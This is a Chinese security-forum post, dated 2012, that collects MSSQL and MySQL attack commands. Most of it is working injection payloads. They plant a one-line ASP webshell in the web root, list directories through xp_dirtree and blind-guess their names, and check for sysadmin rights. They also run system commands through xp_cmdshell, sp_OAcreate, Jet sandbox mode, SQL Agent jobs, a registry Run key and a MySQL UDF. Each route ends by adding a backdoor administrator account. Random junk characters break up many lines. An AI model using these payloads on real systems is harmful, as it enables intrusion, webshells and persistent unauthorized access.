中国网络渗透测试联盟

标题: mssql实用命令及导出一句话 [打印本页]

作者: admin    时间: 2012-9-13 17:49
标题: mssql实用命令及导出一句话
MSSQL语句导出一句话木马+ v. [7 w" Q  |) Q
首先确定网站的WEB路径3 q! {' o/ j  Y
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
3 Y3 z% Q/ \$ A" b
  a* [# M- @3 R9 C% O7 K;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
! s8 l6 X: z- Q" g4 |//将一句话木马插入表中
9 q/ P# R0 I% @& @, }
" E' N- ~5 Q7 ]4 c+ P0 W;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- # y# n3 q. }' M4 ~6 X7 I
//导出一个ASP文件" x/ Z0 f" X4 t' H1 _! B% X
. k2 ]/ ~  f, o6 `2 t
, B3 x! A- w/ t5 K5 [1 W! k3 X
关于MSSQL列目录
  i) ], _) d' W6 D# u;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表, l/ o* ~6 k! }* D* n
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
7 G# C  `% Y8 ~6 i& l* G6 K1 L; a, i) }0 A& F
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录' s* u7 o2 ]* u0 L/ d
$ h! K- ?. T  t1 m2 y5 U5 B
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段8 Z0 l" T  ~1 o5 V
  y! ~4 P3 N2 C9 k6 A# o/ V
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
/ C: V. X9 A2 K; J9 j* ~. ^- @# w2 f2 Q: i3 U+ y+ W

' ?/ y# V" o7 l" U% S& u1 E' z: F数据库版本和权限查看
# s5 p6 U; P, ]5 }+ ^and 1=(select @@VERSION) //查看详细的数据库信息.
2 c$ u8 R6 [2 w4 B% I' H+ vand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA0 U9 p  \% p: ]6 e2 @% w. i
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER6 v+ E& p  S' A  b! e! @% `

  s- l# Q  P/ e) Y- W5 E( f+ Y4 |% p) j8 f7 y* r$ N
1.利用xp_cmdshell执行命令% g/ [/ e6 C5 {1 J, o, E7 u
exec master..xp_cmdshell 'net user rfire 123456 /add'
$ ]+ W' ^* y2 N9 i7 w6 m3 dexec master..xp_cmdshell 'net localgroup administrators rfire /add'' K9 H. a3 A7 s( B6 K/ O

* x1 X1 \; T' P. `, B恢复xp_cmdshell存储过程: H. A1 Q8 T/ }4 A" Z
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'$ M2 M% a( ^# C7 n& I3 h4 `
* k. m( C( V6 l8 a5 k

' c& Y) |- E3 k- ?6 j2.利用SP_OAcreate和SP_OAMETHOD执行命令
9 Q8 l; Y: l9 s9 n' {7 m7 w在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
: ^: a  b& D% V$ W0 \DECLARE @shell INT //建立一个@shell实体
% Y% W/ X, l, q6 S! sEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
2 |% R* {- J  R: D! j7 ?( p3 ]+ oEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
1 @0 N. x, X; l3 }) O! N3 n/ D$ C4 S9 D* T4 _6 d: r2 O4 P/ p
' v6 D0 B, R1 U. K& I; ^! O
3.利用沙盒模式
! g& ?- U$ t& ^' y4 }, P先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
% V7 q5 O1 ~2 B9 g& e; T) N: K( n开启沙盒模式:
/ n  V7 V  s+ B/ e6 E2 S! j% p8 @, rEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
5 q/ C4 C1 j2 U) {3 b2 s# L5 X; [# Z# @9 A' G) s/ q
执行命令:
- S! A, A7 I; J' [+ D4 E* B1 M8 b: |6 HSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');0 T" k' p; Z" w! [4 A1 k5 R. X7 j  {# J( g

3 H2 g3 {  t, y+ @, E' k/ E
$ Z, l9 C1 Y9 q; j2 J4.利用SQL代理执行命令1 C: _; y1 H) t: y. T
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务8 Q: h5 ]( g4 Q. O" ~
3 G5 R- b' ~; F
执行命令:
6 n9 r. y) W, {; P8 ^! Z1 I- ^$ e" guse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错- V/ J0 z, X" {2 N6 C0 l7 @- W
exec sp_add_job 'x'% L6 H8 S% L  d  _7 z/ U7 O
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
) b! E. j' D! s/ }+ l: oexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
6 b5 |3 o" Q+ W# J+ {+ X* V# I2 i! `! T' J
+ i, X  p  d% G- y: N
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)* ~) Y" p8 M7 P1 O
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add': E- a# D% k+ V0 }4 P5 M7 x

5 L9 `: {9 m/ M" ~7 U/ }' R  x( ~, i: i: J8 g
6.MYSQL的命令执行
3 A& O& N! {8 U1 r3 eMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)* F) n3 B' I$ q8 n: N2 k: m
首先要在su.php下导出c:\windows\udf.dll
3 J( z3 W) r% o9 y5 w! M导出后执行创建自定义函数命令:
& M/ V# l. D6 J% u, h2 tCreate Function cmdshell returns string soname 'udf.dll'; e! t8 }6 `( Y' A! `3 _: f9 t
执行命令
) n8 J$ u2 ?+ b/ T1 J1 e% z; o) e: rselect cmdshell('net user rfire 123456 /add'): h5 _* q$ f+ `6 K4 z
执行后删除函数 drop function cmdshell
; ]) U$ E# m6 }& Z7 D




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2